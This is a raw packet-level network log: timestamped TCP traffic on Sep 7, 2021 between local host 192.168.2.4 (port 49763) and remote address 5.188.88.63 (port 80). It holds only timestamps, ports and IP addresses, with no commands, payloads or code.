Sep 7, 2021 16:02:57.189218044 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.189238071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.189938068 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.201679945 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.201699972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.201751947 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.203753948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.203773975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.203844070 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.217226982 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.226264000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.226319075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.226351023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.226397038 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.226439953 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.226443052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.226490021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.226514101 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.226543903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.226591110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.226639986 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.226650000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.235133886 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.235172987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.235217094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.235282898 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.235311031 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.238908052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.239178896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.239197016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.239216089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.239250898 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.239341021 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.239361048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.239377975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.239393950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.239422083 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.241950035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242011070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242028952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242044926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242060900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242077112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242083073 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.242096901 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242114067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242126942 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.242130041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242146015 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242150068 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.242161989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242177963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242183924 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.242193937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242201090 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.242209911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242228031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242244959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242245913 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.242259979 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242275000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242289066 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.242290974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242306948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242322922 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242336035 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.242336988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.242358923 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.244609118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244635105 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244652033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244669914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244684935 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.244698048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244714975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244734049 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244743109 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.244750977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244766951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244782925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244791031 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.244810104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.244836092 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244852066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244868040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244882107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244891882 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.244899035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244915009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244925976 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.244946003 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.244960070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244976997 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.244992018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245007038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245017052 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245023012 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245038986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245057106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245059967 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245074034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245089054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245098114 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245105982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245121002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245136023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245142937 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245151997 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245167971 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245177031 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245187044 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245198011 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245204926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245220900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245222092 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245237112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245253086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245263100 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245268106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245285034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245290041 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245332956 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245342016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245359898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245376110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245390892 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245407104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.245414019 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.245457888 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.254414082 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.254431963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.254477978 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.266462088 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.266479969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.266570091 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.269643068 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.269723892 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.282095909 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.290891886 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.290910959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.290926933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.290941954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.290957928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.290956974 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.290973902 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.290992975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.290999889 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.291028976 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.292886972 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.299248934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.299304962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.299324036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.299335957 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.299396038 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.299427032 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.304760933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.304783106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.304816008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.304831982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.304845095 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.304888010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.304898977 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.304905891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.304955006 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.308515072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308532953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308545113 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308561087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308577061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308576107 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.308592081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308608055 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308614016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.308623075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308636904 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.308641911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308666945 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.308733940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308749914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308764935 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308773994 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.308801889 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.308836937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308856964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308893919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.308962107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.308979988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.309022903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.309062958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.309077978 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.309092999 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.309108973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.309114933 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.309123993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.309139967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.309149027 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.309155941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.309173107 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313529968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313551903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313570976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313591003 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313599110 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313611984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313637018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313640118 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313659906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313668013 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313682079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313702106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313704967 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313723087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313741922 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313749075 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313762903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313782930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313793898 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313807964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313823938 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313829899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313851118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313870907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313890934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313894033 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313910007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313930035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313935995 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313950062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313961029 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.313975096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313997030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.313998938 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.314017057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314038038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314040899 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.314058065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314076900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314094067 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.314104080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314124107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314131975 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.314143896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314163923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314171076 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.314183950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314208984 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.314208984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314232111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314250946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314259052 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.314271927 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314291954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314292908 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.314311981 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314332008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314333916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.314352989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314378977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314382076 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.314400911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.314428091 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.325756073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.325797081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.325875998 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.331389904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.331440926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.331491947 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.333910942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.333942890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.334021091 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.355181932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.355238914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.355268002 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.355277061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.355314970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.355330944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.355361938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.355403900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.355441093 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.355443001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.355482101 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.355511904 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.363971949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.364003897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.364028931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.364051104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.364093065 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.364116907 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.369041920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.369067907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.369107008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.369112015 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.369132996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.369182110 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.369369984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.369394064 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.369426012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.373297930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373361111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373389006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373394012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.373413086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373482943 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.373619080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373639107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373660088 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373672009 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.373682022 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373706102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373713970 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.373755932 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.373882055 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373910904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373936892 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373960972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.373971939 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.373982906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.374006987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.374015093 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.374028921 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.374051094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.374058962 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.374073982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.374093056 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.374099970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.374125004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.374150038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.374157906 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.374174118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.374207020 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.378910065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.378941059 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.378959894 CEST	80	49763	5.188.88.63	192.168.2.4
